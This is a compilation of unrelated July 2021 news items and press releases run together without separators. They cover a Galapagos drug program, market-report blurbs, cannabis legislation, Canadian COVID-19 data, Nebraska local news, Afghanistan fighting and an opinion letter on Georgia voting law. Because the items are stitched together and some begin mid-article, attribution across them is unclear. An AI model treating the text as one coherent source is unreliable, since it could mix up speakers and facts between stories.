Toledo is an extensive program with a novel target class, SIK, whose potential role in inflammation was discovered by Galapagos. The Toledo program aims to treat a broad range of autoimmune conditions with important unmet medical needs. The Toledo platform delivers small molecule inhibitors of SIK targets with different selectivity profiles. The most advanced compound, SIK2/3 inhibitor GLPG3970, has shown immunomodulatory activity in vitro preclinically and ex vivo clinically with what Galapagos believes is a dual mode of action characterized by enhanced transcription of anti-inflammatory cytokines and inhibited transcription of pro-inflammatory cytokines. SIK inhibition has previously shown encouraging preclinical activity in a range of inflammatory disease models.

GLPG3970 is an investigational drug and not approved by any regulatory authority. Its efficacy and safety have not been established.

About Galapagos

Galapagos NV (Euronext & NASDAQ: GLPG) discovers and develops small molecule medicines with novel modes of action, several of which show promising patient results and are currently in clinical development in multiple diseases. Our pipeline comprises discovery through Phase 3 programs in inflammation, fibrosis, and other indications. Our ambition is to become a leading global biopharmaceutical company focused on the discovery, development, and commercialization of innovative medicines. More information at www.glpg.com.

This press release contains inside information within the meaning of Regulation (EU) No 596/2014 of the European Parliament and of the Council of 16 April 2014 on market abuse (market abuse regulation).

Contacts



Investors:

Elizabeth Goodwin

VP Investor Relations

+1 781 460 1784

Sofie Van Gijsel

Senior Director Investor Relations

+1 781 296 1143

ir@glpg.com

Media:

Kyra Obolensky

Senior Director Corporate Communications

+32 491 92 64 35

Evelyn Fox

Director Executive Communications

+31 65 3591 999

communications@glpg.com

Galapagos Forward-Looking Statements

This press release includes forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995, as amended, that are subject to risks, uncertainties and other factors that could cause actual results to dier materially from those referred to in the forward-looking statements and, therefore, the reader should not place undue reliance on them. These risks, uncertainties and other factors include, without limitation, the risk that ongoing and future clinical studies with GLPG3970 may not be completed in the currently envisaged timelines or at all, the inherent uncertainties associated with competitive developments, clinical trial and product development activities and regulatory approval requirements (including that data from the ongoing and planned clinical research programs may not support registration or further development of GLPG3970 due to safety, efficacy or other reasons), Galapagos' reliance on collaborations with third parties and that Galapagos estimations regarding its GLPG3970 development program and regarding the commercial potential of GLPG3970 as well as regarding its Toledo platform, may be incorrect, as well as those risks and uncertainties identified in our Annual Report on Form 20-F for the year ended 31 December 2020 and our subsequent filings with the SEC. All statements other than statements of historical fact are statements that could be deemed forward-looking statements. The forward-looking statements contained herein are based on managements current expectations and beliefs and speak only as of the date hereof, and Galapagos makes no commitment to update or publicly release any revisions to forward-looking statements in order to reflect new information or subsequent events, circumstances or changes in expectations.

1 Psoriasis Area and Severity Index; an index used to express the severity of psoriasis. It combines the severity (erythema, induration and desquamation) and percentage of affected area

2 DAS28 is a RA Disease Activity Score based on a calculation that uses tender and swollen joint counts of 28 defined joints, the physicians global health assessment and a serum marker for inflammation, such as C-reactive protein. DAS28 (CRP) includes the C-reactive protein score calculation

Attachment




DUBIN, July 14, 2021 /PRNewswire/ -- The "Global Naval Sensors - Market and Technology Forecast to 2029" report has been added to ResearchAndMarkets.com's offering.

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Global Naval sensors Market accounts for a market value of roughly USD 5 billion as of 2020. The Global pandemic is one of the key factors that has created a shift in market trends.

The CAGR for the market is anticipated to be 5% during the forecast period (2021-2029). Regions like China account for a maximum market value owing to its ongoing fleet procurement programs. The planning is to invest heavily in the development and procurement of naval armament in order to enhance its combat abilities. China's strained relationships with the US and India as well as disputes like the South China Sea necessitate the requirement for a strong naval force.

Detection systems, integrated onto Naval Platforms, are used to detect both systems as well as environmental changes associated with the platform. Information about the perimeter is used in order to devise strategic plans for naval operations. While the data procured for system functionality is used by technology innovators to monitor the operation and maintenance aspects of the product.

Growth in munition technology, as well as anti-ship/anti-submarine warfare systems, is one of the factors that boost the growth dynamics of the market. Sensors with enhanced sensitivity are now being devised to detect the movements of the adversaries.

These components serve as the interface between the detection system and the environment. They are integrated onto the surface of technologies like RADAR, SONAR, LIDAR, and EW systems to optimize the combat abilities of a vessel. Amongst these sub-sets, SONAR systems account for roughly 21% of the product-based segment. ASW and underwater acoustic sensing capabilities associated with SONAR are some of the key factors that promote its growth.

RADAR systems account for the second-largest market segment. According to the product life cycle, both RADAR and SONAR account for mature market segments. RADAR systems make use of EM waves in order to transmit/receive information. EM waves tend to portray reduced efficiency when it comes to scenarios based on phase change. Therefore, technologies like Acoustic sensing and MAD (Magnetic Analogue Detection) are used for underwater detection by platforms like warships and logistical vessels.

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The defense budget typically accounts for about 1-3% of the GDP. Countries surrounded by water bodies invest heavily in strengthening their naval defenses. Although, landlocked countries serve as a key restraint for this market. Moreover, the defense budget allocation for countries has decreased due to the negative multiplier effect since the inception of COVID-19. Countries all across the globe experience or expect military budget cuts due to the pandemic.

The decrease in employment and per capita spending hereby accounts for a reduced naval contribution to the GDP. This in turn affects the future budget allocation. The defense budget for a nation is poised to be directly proportional to the naval spending amongst countries surrounded by water bodies.

On the contrary, growth in naval threats promotes the market expansion of this sector. Additionally, the waterways serve as a useful medium in terms of trade owing to the reduced cost of transportation. Therefore, countries have been investing in docks that could potentially facilitate connectivity. This in turn would reduce the logistical costs associated with the transportation of naval armaments and combatants across all platforms.

The report is aimed at

A comprehensive analysis based on the drivers, restraints, and challenges for this market has been discussed within this report.

The growth in technology and its impact on the upcoming trends associated with this market have been covered.

The high growth segments within this market have been studied thoroughly.

The potential growth segments and emerging markets have been covered.

The opportunities provided by this market have been discussed on a country level.

A competitive mapping across the market segmentation has been provided.

The key players of this sector and the strategies employed by them have been covered.

PEST and Porter's five forces are used to understand the strategic mapping across several geographic spreads.

A positive and a negative scenario analysis has been provided based on some growth criteria.

A forecast analysis has been performed up to the year 2029.

An analysis for the EXIM Data has been performed on a country level.

Segmentation covered in this report

By Region

North America

EU

APAC

ME

RoW

By Platform

Surface Warship

Submarine

Unmanned System

Munition

Others

By Product

RADAR

SONAR

LIDAR

Magnetometer

IR sensors

Seismic Sensors

Hyperspectral Imaging

By Application

Intelligence & Reconnaissance

Communication & Navigation

Combat Operations

Electronic Warfare

Target Recognition

Command and Control

Surveillance & Monitoring

By Country

United States

China

Russia

India

South Korea

France

Italy

United Kingdom

Germany

Israel

Reasons to buy this report

The potential players of this market can use this report to understand the market dynamics associated with this sector.

The Industry professionals can use this report to study expansion opportunities.

Educational Institutions can use this report for secondary research.

DODs can use this report to study the high growth markets.

Financial investors can use this report while structuring funding programs to understand the potential high-growth markets market segments.

Potential players can use this report to study the competitive mapping across this sector

Who is this report for?

Technology Innovators: Can use this report to study the change in market trends and the impacts of upcoming technologies on the shift in dynamics.

Raw Material Manufacturers: Can use this report to study the demand and supply margins associated with the EXIM data.

OEMs: Can use this report to study the opportunity analysis on a country level.

Companies Mentioned

ASELSAN

BAE Systems

General Dynamics

HENSOLDT GmbH

L3 Harris Technologies

Leonardo S.p. A

Lockheed Martin

Northrop Grumman

Raytheon

Saab AB

TERMA A/S

Thales

For more information about this report visit https://www.researchandmarkets.com/r/hs1rsq

Media Contact:

Research and Markets

Laura Wood, Senior Manager

press@researchandmarkets.com

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SOURCE Research and Markets
DUBLIN, July 14, 2021--(BUSINESS WIRE)--The "Guar Market - Growth, Trends, COVID-19 Impact, and Forecasts (2021 - 2026)" report has been added to ResearchAndMarkets.com's offering.

The guar market is projected to register a CAGR of 4.2% during the forecast period (2021-2026). The outbreak of COVID-19 has affected the global production and supply of guar.

Key Market Trends

India to rule global production

Guar Gum is an important ingredient in creating nourishment emulsifiers, food additives, nourishment thickener, and other guar gum items. The guar industry has developed from guar being utilized in households to discovering applications for it in industries. Attributable to new innovations, the natural gum property of guar has several applications in the food, pharmaceuticals, and oil industries.

India is the largest producer of guar and contributes over 80.0% of the total guar and guar gum production in the world. Although the area harvested for guar in India has not changed in almost 10 years, the production of guar has increased significantly due to higher productivity.

Asia-Pacific dominates global production

Asia-Pacific dominates global guar production with India being a major producer. The United States is the largest importer of guar gum from India, with an annual import of more than 244,829.0 metric tons representing about 60.0% of the total guar gum exports from India.

China and Germany are the other major importers of guar gum from India, they import more than 32,268.0 metric tons and 12,085.0 metric tons, respectively, which accounts for 7.8% and 2.9% of the total guar gum export from India. Other major importers of guar gum are Italy, South Africa, Russia, Australia, Netherlands, Japan, Brazil, Belgium, and Canada. Presently, India exports guar gum to more than 90 countries.

Reasons to Purchase this report:

The market estimate (ME) sheet in Excel format

3 months of analyst support

Key Topics Covered:

1 INTRODUCTION

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2 RESEARCH METHODOLOGY

3 EXECUTIVE SUMMARY

4 MARKET DYNAMICS

4.1 Market Overview

4.2 Market Drivers

4.3 Market Restraints

4.4 Value Chain / Supply Chain Analysis

5 MARKET SEGMENTATION

6 MARKET OPPORTUNITIES AND FUTURE TRENDS

7 AN ASSESSMENT OF COVID-19 IMPACT ON THE MARKET

For more information about this report visit https://www.researchandmarkets.com/r/dtrpca

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005752/en/

Contacts

ResearchAndMarkets.com

Laura Wood, Senior Press Manager

press@researchandmarkets.com



For E.S.T Office Hours Call 1-917-300-0470

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*The Future of American Political Economy* to feature Vance, Senator Marco Rubio, Amity Shlaes, Jeff Sessions, Ramesh Ponnuru, Helen Andrews, and many others

WILMINGTON, Del., July 13, 2021 /PRNewswire/ -- The Intercollegiate Studies Institute announced today that on July 23-24, an all-star roster of thought leaders will gather for one of the year's most significant conferences:

The Future of American Political Economy

The conference addresses a key question that conservatives have been grappling with:

Do we need to rethink our approach to the economy?

America faces new threats: Big Tech censorship and monopolies. A dwindling middle class. The rise of China. Crony capitalism.

So how should conservatives respond?

This conference will tackle some of the most important and difficult questions facing our country.

Speakers include:

J.D. Vance , Hillbilly Elegy author and U.S. Senate candidate

Senator Marco Rubio

Amity Shlaes , bestselling author of The Forgotten Man and Coolidge

Jeff Sessions , former U.S. attorney general

Ramesh Ponnuru , National Review editor

Oren Cass , American Compass executive director

Helen Andrews , The American Conservative senior editor

and nearly 20 others!

For full details on the Future of American Political Economy Conference, visit isi.org/conference.

About the Intercollegiate Studies Institute

Too many college students feel isolated or attacked for questioning the ever-narrowing range of debate on campus. ISI introduces them to the American tradition of liberty and to a vibrant community of students and scholars. ISI students get an education and a community they don't find at their universities. And in the process, they become articulate voices for the principles that made America free and prosperous.

ISI is a 501(c)(3) nonprofit educational organization. For more information, visit isi.org.

If you are interested in covering the Future of American Political Economy Conference, please contact Jed Donahue at jdonahue@isi.org or 302-524-6165 for press passes or livestream information.

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SOURCE Intercollegiate Studies Institute
As China cracks down on companies, Fox News senior strategic analyst Gen. Jack Keane (Ret.) issued a warning on FOX Business' "Mornings with Maria" that the U.S. needs to begin decoupling from the country as President Xi Jinping is pushing for a state-run economy.

US VERY VULNERABLE TO CHINA'S MILITARY THREAT IN SPACE: GEN. JACK KEANE

GEN. JACK KEANE (RET.): A year ago, President Xi told the state-owned enterprises that your mission is not just to make money, but your mission is to defeat the foreign enterprises that are in this country. That's what he really wants. He wants that state-run capitalistic society under his control completely. And I think that is way off in the future. The fact is, the world economy is intertwined with China.

GET FOX BUSINESS ON THE GO BY CLICKING HERE

But what we can and should do, make no mistake about it, is we should deny, make certain that none of our companies are doing anything to assist China's military or its intelligence capability. And certainly, what we've learned from COVID-19, we've got to begin the decoupling of our pharmaceutical dependence and other commodity dependence on China that have much to do with the health of the American people.

WATCH THE FULL INTERVIEW BELOW:
SALT LAKE CITY, July 14, 2021 /PRNewswire/ -- Lipocine Inc. (NASDAQ: LPCN), a clinical-stage biopharmaceutical company focused on metabolic and endocrine disorders, today announced that it has entered into a global settlement and license agreement with Clarus Therapeutics Inc. ("Clarus") to resolve all outstanding claims in the on-going intellectual property litigation between the two companies as well as the on-going interference proceeding between the two companies.

Under the terms of the settlement announced today, Lipocine and Clarus have agreed to dismiss the Lipocine Inc. v Clarus Therapeutics, Inc., No 19-cv-622 (WCB) litigation presently pending in the U.S. District Court for the District of Delaware. Additionally, both parties have reached an agreement on the interference proceedings captioned Clarus Therapeutics, Inc. v. Lipocine Inc., Interference No. 106,128 presently pending in the U.S. Patent and Trademark. The terms of the settlement remain confidential.

About Lipocine Inc.

Lipocine Inc. is a clinical-stage biopharmaceutical company focused on metabolic and endocrine disorders using its proprietary drug delivery technologies. Lipocine's clinical development pipeline includes: TLANDO, LPCN 1144, TLANDO XR, LPCN 1148, LPCN 1154, and LPCN 1107. TLANDO, a novel oral prodrug of testosterone containing testosterone undecanoate, has received tentative approval from the FDA for conditions associated with a deficiency of endogenous testosterone, also known as hypogonadism, in adult males. LPCN 1144, an oral prodrug of bioidentical testosterone, recently completed a proof-of-concept clinical study demonstrating the potential utility in the treatment of non-cirrhotic NASH. LPCN 1144 is currently being studied in a Phase 2 clinical study. TLANDO XR, a novel oral prodrug of testosterone, originated and is being developed by Lipocine as a next-generation oral testosterone product with potential for once-daily dosing. In a phase 2 clinical evaluation when administered as once daily or twice daily TLANDO XR met the typical primary and secondary end points. LPCN 1148 is an oral prodrug of bioidentical testosterone targeted for the treatment of cirrhosis. LPCN 1107 is potentially the first oral hydroxyprogesterone caproate product candidate indicated for the prevention of recurrent preterm birth and has been granted orphan drug designation by the FDA. LPCN 1154 is an oral neuro-steroid targeted for the treatment of post-partum depression. For more information, please visit www.lipocine.com.

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Forward-Looking Statements

This release contains "forward-looking statements" that are made pursuant to the safe harbor provisions of the Private Securities Litigation Reform Act of 1995 and include statements that are not historical facts regarding the timing and results of ongoing litigation and our responses thereto and our ability to maintain and utilize our intellectual property. Investors are cautioned that all such forward-looking statements involve risks and uncertainties, including, without limitation, risks related to ongoing litigation relating to our intellectual property and other risks detailed in Lipocine's filings with the SEC, including, without limitation, its Form 10-K and other reports on Forms 8-K and 10-Q, all of which can be obtained on the SEC website at www.sec.gov. Lipocine assumes no obligation to update or revise publicly any forward-looking statements contained in this release, except as required by law.

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SOURCE Lipocine Inc.
TORONTO, July 14, 2021 /CNW/ - According to a recent CIBC poll, only 39 per cent of LGBTQ+ Canadians have a written legal will, below the national average of 47 per cent. To help LGBTQ+ Canadians take charge and secure their financial future, CIBC is hosting a free webinar on July 21, 2021, at 2 p.m. ET. The webinar will feature CIBC experts covering essential tax and estate planning conversations and addressing common questions from those in the LGBTQ+ community. The English webinar (with simultaneous French translation) will be hosted by Carissa Lucreziano, CIBC Vice-President, Financial and Investment Advice.

CIBC logo (CNW Group/CIBC) (CNW Group/CIBC)

"No matter ones' life stage, having a tax and estate plan can help protect the things they have worked so hard to achieve," says Lucreziano.

The webinars will focus on the following topics:

Financial realities and opportunities facing the LGBTQ+ community

Real-life story of one family's tax and estate planning journey

In-depth look at the unique aspects that should be considered when planning for tax and estate matters

Live Q&A with CIBC experts

Space is limited. Reserve your spot today by registering for the webinars here . By registering you can also receive access to watch the webinar on-demand. Additional resources on estate planning are also available on the CIBC website .

About CIBC

CIBC is a leading North American financial institution with 10 million personal banking, business, public sector and institutional clients. Across Personal and Business Banking, Commercial Banking and Wealth Management, and Capital Markets businesses, CIBC offers a full range of advice, solutions and services through its leading digital banking network, and locations across Canada with offices in the United States and around the world. Ongoing news releases and more information about CIBC can be found at www.cibc.com/en/about-cibc/media-centre.html .

SOURCE CIBC

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Senate Majority Leader Chuck Schumer (D., N.Y.), Sen. Ron Wyden (D., Oreg.) and Sen. Cory Booker (D., N.J.) are unveiling a discussion draft of their legislation to end the federal prohibition of marijuana. The senators detailed their plan at a press conference on July 14.

The proposal known as the Cannabis Administration and Opportunity Act  calls for removing cannabis from the federal list of controlled substances, allowing states to make their own decisions on cannabis. Many states have already moved to legalize recreational or medicinal marijuana use, but it still remains illegal under federal law.

"By ending the failed federal prohibition of cannabis, the Cannabis Administration and Opportunity Act will ensure that Americans  especially Black and Brown Americans  no longer have to fear arrest or be barred from public housing or federal financial aid for higher education for using cannabis in states where its legal," reads the discussion draft. "State-compliant cannabis businesses will finally be treated like other businesses and allowed access to essential financial services, like bank accounts and loans. Medical research will no longer be stifled."

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The proposal establishes 21 as the minimum age to purchase cannabis and limits retail sales to no more than 10 ounces of cannabis. It calls for federal agencies to research the impacts of cannabis use, legalization and cannabis-impaired driving  including research to establish an impairment standard for driving under the influence of cannabis.

The Democratic trio has been working on the legislation for months. In an interview with Yahoo Finance shortly after they announced their plan to work on the proposal, Sen. Wyden said Congress should "finally recognize that the War on Drugs has failed."

The plan would require expungement of federal non-violent cannabis convictions and encourage state and local governments to do the same. It would keep people from being denied federal benefits  such as housing or federal financial aid  because of cannabis use or possession. People who are not U.S. citizens could not be denied benefits or protection under immigration laws.

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The plan would also create new grant programs to fund nonprofits that help people who have been "adversely impacted by the War on Drugs." It would make loans available to small businesses in the cannabis industry and help states and localities implement cannabis licensing programs.

People congregate on Union Square for Annual Cannabis rally to celebrate legalization of recreational marijuana in New York State. There was free distribution of joints for those who showed vaccination proof as well as signing up. (Photo by Lev Radin/Pacific Press/LightRocket via Getty Images)

Excise taxes

The plan would impose an excise tax on cannabis products, similar to how the government taxes alcohol and tobacco. The general tax rate would be 10% for the year it's enacted and the full year after. It would gradually rise each year to 25%. Starting in the fifth year, the Treasury Secretary would set a rate based on quantity sold or milligrams of THC. Rates would be based on prevailing price of cannabis sold in the U.S. the prior year.

Cannabis producers with less than $20 million in sales annually would be eligible for a tax credit to reduce their rate by 50%.

"When you can legalize something like this  where millions of millions of Americans have already voted that way  that can be a real plus for the economy. Certainly it can be a real plus for small businesses, for communities of color," said Wyden in an interview with Yahoo Finance in February.

Cannabis Administration and Opportunity Act, Sens. Booker, Wyden, and Schumer

President Joe Biden backed decriminalization of marijuana on the campaign trail, but the White House has not backed legalization efforts. In December, the House passed the MORE Act  which would remove marijuana from the controlled substance list and create restorative justice programs. Earlier this year, Rep. Jerry Nadler (D., N.Y.) reintroduced the legislation.

The senators are asking for input on the proposal by Sept. 1, so they can consider feedback before crafting the final bill. The proposal faces a difficult vote in the evenly-divided Senate.

Jessica Smith is chief political correspondent for Yahoo Finance, based in Washington, D.C.

Read more:
The COVID-19 pandemic continues to create stress and anxiety for many Canadians, particularly those who do not have ready access to their regular support networks. Through the Wellness Together Canada online portal, people of all ages across the country can access immediate, free and confidential mental health and substance use supports, 24 hours a day, seven days a week.

OTTAWA, ON, July 14, 2021 /CNW/ - One of my priorities as Canada's Chief Public Health Officer is to examine and work to reduce health inequities. Never has this need been more evident and urgent than now, well over a year into the COVID-19 pandemic in Canada. The Public Health Agency of Canada (PHAC), through the Pan-Canadian Health Inequalities Reporting (HIR) Initiative, undertook an equity analysis of death rates from January to August 2020. The aim was to find out if social and economic factors were linked to higher rates of death from COVID-19. HIR Initiative partners, including the Pan-Canadian Public Health Network, Statistics Canada, and the Canadian Institute for Health Information, supported these analyses.

The report found significantly higher COVID-19 death rates among those with lower incomes. It also found that those living in large cities and apartment buildings were more likely to die from COVID-19, as were those living in neighbourhoods with higher proportions of residents who recently immigrated to Canada or were born outside of the country, are visible minorities, or speak neither English nor French.

These findings are critical to understanding which communities and groups experience disproportionate severe outcomes from COVID-19. However, more research on inequities faced by people living in different situations, as well as across subsequent waves of the pandemic, is needed if we are to understand how to address them.

My 2020 Annual Report examined why some groups face a greater risk of contracting COVID19 and of experiencing the negative social and economic impacts of the pandemic. PHAC, colleagues in public health at all levels, and partner sectors across Canada will continue to work to better understand inequities in these wider consequences of COVID-19.

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While the pandemic has affected everyone, it has not affected everyone in the same way. Canada's pandemic response must be fair and accessible to all, including working with communities to facilitate vaccination among those most at-risk of harms and severe outcomes from COVID-19, and making sure that everyone in Canada has opportunities to access the living, working, and healthcare conditions necessary for good health during this pandemic and beyond. The HIR Initiative report is an important contribution. I will continue using my role as Chief Public Health Officer of Canada to advocate for health equity, including through my upcoming Annual Report, this fall.

As COVID-19 activity continues in Canada, we are continuing to track key epidemiological indicators to monitor trends and quickly detect emerging issues of concern, including to better understand the impact of circulating virus variants. The Public Health Agency of Canada (PHAC) is also providing regular updates on COVID-19 vaccines administered, vaccination coverage and ongoing monitoring of vaccine safety across the country. The following is the latest summary on national numbers and trends.

Since the start of the pandemic, there have been 1,421,447 cases of COVID-19 and 26,450 deaths reported in Canada; these cumulative numbers tell us about the overall burden of COVID-19 illness to date. Variants of concern (VOCs) represent the majority of recently reported COVID-19 cases, including four VOCs (B.1.1.7 (Alpha), B.1.351 (Beta), P.1 (Gamma), and B.1.617.2 (Delta)) that have been detected in most provinces and territories. While the Alpha variant still accounts for the majority new cases nationally, the Delta variant has increased and now accounts for the majority of new COVID-19 cases in some areas, such as in Ontario. As all viruses change over time, including the SARS-CoV-2 virus that causes COVID-19, new and emerging variants are expected. PHAC, in collaboration provincial and territorial partners and CanCOGeN, monitor for these changes by sequencing a percentage of all COVID-19 viruses from positive cases. While this percentage has varied over time, since mid-May, over 70% of all positive cases have been sequenced. Regardless of which viruses are predominating in an area, we know that vaccination, in combination with public health and individual measures, continue to work to reduce the spread of COVID-19.

While the latest national-level data show a continued decline in disease activity with an average of 442 cases reported daily during the latest 7 day period (July 7-13), the rate of decrease is slowing. As public health restrictions are eased, some increase in cases, particularly among unvaccinated populations, is not unexpected. The latest provincial and territorial data indicate that an average of 674 people with COVID-19 were being treated in Canadian hospitals each day during the most recent 7-day period (July 7-13), which is 14% fewer than last week. This includes, on average 323 people who were being treated in intensive care units (ICU), 18% fewer than last week and an average of 8 deaths were reported daily (July 7-13).

Administration of first and second doses of COVID-19 vaccines is continuing across the country and there is optimism that widespread, stronger and longer lasting immunity can be achieved by fully vaccinating a high proportion of Canadians. For more information regarding the risks and benefits of vaccination, I encourage Canadians to reach out to your local public health authorities, healthcare provider, or other trusted and credible sources, such as Canada.ca and Immunize.ca.

Canadians can access information on Canada.ca to understand the benefits of being vaccinated against COVID-19, find guidance on life after vaccination and utilise free interactive risk assessment tools to aid in informed decision-making and understanding COVID-wise precautions to lower the risks in different settings. However, as jurisdictions begin to ease restrictions, risks and circumstances are not the same everywhere and following local public health advice continues to be important, regardless of your vaccination status. While COVID-19 is still circulating in Canada and internationally, core public health measures and individual protective practices can help us to reduce the spread: stay home/self-isolate if you have symptoms; be aware of risks associated with different settings; avoid all non-essential travel; and maintain individual protective practices such as physical distancing and wearing a well-fitted and properly worn face mask, as appropriate.

Canadians can also go the extra mile by sharing credible information on COVID-19 risks and prevention practices and measures to reduce COVID-19 in communities. Read my backgrounder to access more COVID-19 Information and Resources on ways to reduce the risks and protect yourself and others, including information on COVID-19 vaccination.

SOURCE Public Health Agency of Canada

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Heat and sticky humidity will remain in place through the weekend.

Afternoon highs in the mid-90s will continue for the next several days in and around Fredericksburg. But a number that better characterizes the current heat wave is the morning low temperature. This Wednesday morning, thermometer readings dipped to only 75 degrees at the two local airports and the University of Mary Washington. This lack of cooling at night is a direct result of the high moisture content of the air, which holds the days heat in place and increases heat stress on people, pets and plants.

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Today will bring another round of mid-90s for afternoon highs, along with a significant chance of showers and thunderstorms, thanks to a nearby upper- level disturbance. Fredericksburg and vicinity can expect a round of storms anytime after 2 p.m. today. No widespread severe activity is expected locally, but heavy rain, lightning, and gusty winds are all possible from these storms.

Thursday will be just as hot and sticky, but with less storm coverage. The graphic shows the forecast surface weather map at 8 a.m. Thursday, with high pressure (blue H) in place atop Virginia. The cold front (blue line) which is shown over the Midwestern states will take its sweet time arriving in Fredericksburg, likely not getting here until Monday.
MARTINEZ, Calif. (AP)  A former state assemblyman in California has been sentenced to a year in jail for using more than a quarter-million dollars of campaign funds on personal expenses and lying about it while he was elections chief for Contra Costa County.

Joe Canciamilla, 66, pleaded guilty to nine counts of grand theft and perjury for stealing $261,800 in campaign funds to pay for a vacation to Asia, meals at restaurants and a personal loan, among other personal expenditures, the Contra Costa County District Attorney's office said Tuesday.

Canciamilla entered the plea Monday and was sentenced to a year in county jail as well as two years probation. The sheriffs office will determine how the custody time will be served.

Due to his felony conviction, Canciamilla will not be able to act as an attorney and he will report his criminal conviction to the California State Bar. He will also not be allowed to hold any elected office, prosecutors said.

Canciamilla resigned as Contra Costa elections chief in October 2019. He was the youngest public official in state history when he was elected at age 17 to the Pittsburg school board. He later served on the Pittsburg City Council and the Contra Costa County Board of Supervisors before winning three terms in the state Assembly as a Democrat in 2000.
Kabulov said the retreating Afghan troops fired on the Taliban fighters after crossing into Tajikistan, but the Taliban didn't return fire.

He also said he did not expect the Taliban to take over all of Afghanistan.

They may take control of several provinces... but it wouldnt allow them to become the omnipotent rulers of Afghanistan, Kabulov said.

The Kremlin envoy acknowledged that the Islamic State group and other militant groups in Afghanistan could pose a threat to Russia's allies in Central Asia north of Afghanistan. He said Russia would work with Central Asian nations to coordinate security efforts and tighten border protection.

That would be the most impressive signal to any forces against encroaching on our security, said Kabulov, who is set to attend an international security conference in Tashkent, Uzbekistan that opens Thursday.

He predicted that Afghanistan will see intense fighting in the coming months before the Afghan government, the Taliban and other groups become ready for substantial and fruitful talks.
The continuing hype against the Georgia voter legislation requires response.

President Joe Biden calling the Georgia legislation "Jim Crow 2.0" brings to mind the often used analogy of "the pot calling the kettle black."

Biden is the titular head of the Democrat Party, which developed, instituted and defended "Jim Crow laws." The same party that nearly defeated the 1964 Civil Rights Act, which passed only with Republican support.

He also opposed busing to integrate schools, voted against and nearly derailed the nomination of Justice Clarence Thomas to the Supreme Court, and sponsored the 1994 crime bill.

Each of the items in the Georgia legislation Biden cited were false. Voting does not end at 5 p.m.; it is extended to 7 p.m. Sunday voting is not ended, nor are drop boxes removed from Black districts.

He further insulted Black voters by implying that they are not capable of obtaining photo ID's nor able to write the last four digits of their Social Security number on absentee ballots.

Biden's arrogant and condescending attitude toward Black voters was clearly shown in his statement, "If you don't vote for me, you ain't Black." There are many other examples.
Three Rivers Public Health Department announced five new COVID-19-related deaths on Wednesday along with new variant cases in the jurisdiction.

The COVID-19-related deaths were three Dodge County women, all in their 90s, and two Washington County women, one in her 90s and one in her 80s, a press release stated.

This brings the health districts COVID-19-related deaths total to 132  83 in Dodge County, 20 in Saunders County, and 29 in Washington County.

The health department has identified two new cases of the B.1.617 Delta variant (India) in Washington County. Three Rivers also reports six new COVID-19 B.1.1.7 variants (U.K.)three in Dodge County, two in Saunders County and one in Washington County.

To date, Dodge County has a total of 19 identified variants of concern, 16 B.1.1.7 variants and three B.1.427/429 (California) variants. Saunders County has a total of 11 variants of concern consisting of nine B.1.1.7 variants, one COVID-19 P.1 variant (Brazil), and one B1.617 Delta variant. Washington County has a total of 23 variants of concern, 20 B.1.1.7 variants, one COVID-19 P.1. variant, and two B1.617 Delta variants.

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This totals 53 lab-confirmed variants of concern within the Three Rivers district.
The Nebraska Department of Transportation (NDOT) had a groundbreaking ceremony on Wednesday to celebrate the start of construction to expand approximately 18.5 miles of U.S. Highway 275 (US-275) from a two-lane highway to a four-lane divided expressway from Scribner to West Point.

Once construction of this segment is complete in 2024, 91 of the 115 miles, almost 80% of the US-275 Norfolk to Omaha Expressway, will be constructed as a four-lane divided expressway. This will provide greater mobility and connectivity for the region.

At the ceremony, NDOT elected officials and project partners spoke about how the US-275 ScribnerWest Point Expressway will improve the quality of life for Nebraskans.

NDOT Director John Selmer spoke to the immediate benefits commuters and freight traffic will realize when construction is complete.

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Safety is our number one priority, and this four-lane expressway provides a safer and more convenient transportation option, Selmer said in a press release. We are thrilled that the hard work and dedication of NDOT staff and project partners has culminated in construction.

Gov. Pete Ricketts highlighted the importance of US-275 to the Nebraska economy.
A 34-year-old Schuyler man was sentenced to 45 days in the Dodge County Jail after admitting to violating the terms of his post-release supervision Monday.

Esteban H. Rodriguez was found guilty in the Dodge County District Court of tampering with physical evidence and sentenced to one year in prison on Aug. 28, 2018.

On Aug. 20, 2017, a Dodge County Sheriffs Office deputy pulled a vehicle over that Rodriguez was a passenger in for exceeding the speed limit. After making contact, the deputy noticed a strong smell and saw a small bag of marijuana next to the drivers seat.

The deputy asked Rodriguez to step out of the vehicle. Rodriguez then reached into the passengers seat, grabbed an item and put it to his mouth. After putting Rodriguez in handcuffs, the deputy saw his seat and pant leg were covered in marijuana residue.

Upon searching the car, the deputy found a small grinder with marijuana from the passengers door storage compartment, as well as a bag of marijuana, a scale and box of self-sealed plastic bags on the floor behind the drivers seat.
Leaders from the University of Nebraska-Lincoln Faculty Senate said they oppose a resolution proposed by Regent Jim Pillen curbing the teaching of critical race theory in university classrooms.

In a statement on Wednesday, UNL Faculty Senate President Steve Kolbe said the Executive Committee opposed the Columbus regent and gubernatorial candidate's plan to bring the resolution to the board on Aug. 13.

"We oppose any action by the Board of Regents, or any of its membership, that places any doubt on this commitment to academic freedom in word, by implication, or for personal gain," the statement reads.

Kolbe is an associate professor in the Johnny Carson School of Theatre and Film.

Responding to conservative activists allied with Charles Herbster's campaign, Pillen said in June he opposed the teaching of critical race theory, calling it "divisive" and "anti-American," though he clarified at the time his opposition was as a candidate for governor and not as a regent.

Last week, however, Pillen said he would ask the board to approve a resolution opposing "any imposition of critical race theory" in NU's academic curriculum.
The Afghan government says it has repelled a Taliban attack on a strategic border point into Pakistan, rejecting claims by the militants that they had captured the crossing amid a string of territorial gains ahead of a deadline next month for the pullout of U.S. troops from the war-wracked country.

"The terrorist Taliban had some movements near the border area...The security forces have repelled the attack," Interior Ministry spokesman Tareq Arian said on July 14.

The statement came in response to a Taliban claim earlier in the day that said militants had captured the strategic border crossing of Spin Boldak in Kandahar Province.

"The mujahedin have captured an important border town called Wesh in Kandahar," Taliban spokesman Zabihullah Mujahid said in a statement.

"With this, the important road between Spin Boldak and Chaman and Kandahar customs have come under mujahedin control," Mujahid said, adding traders and residents had been assured that their "security is guaranteed."

The situation on the ground could not immediately be verified, but a Pakistan security source said the Taliban's flag was flying over the town and pictures posted on social media showed Taliban fighters in what appeared to be the frontier town.

Spin Boldak would be of great strategic value for the Taliban as it provides direct access to Pakistan's Balochistan Province -- where the militants' senior leadership is believed to be based -- along with easy access to an unknown number of reserve fighters who regularly cross into Afghanistan.

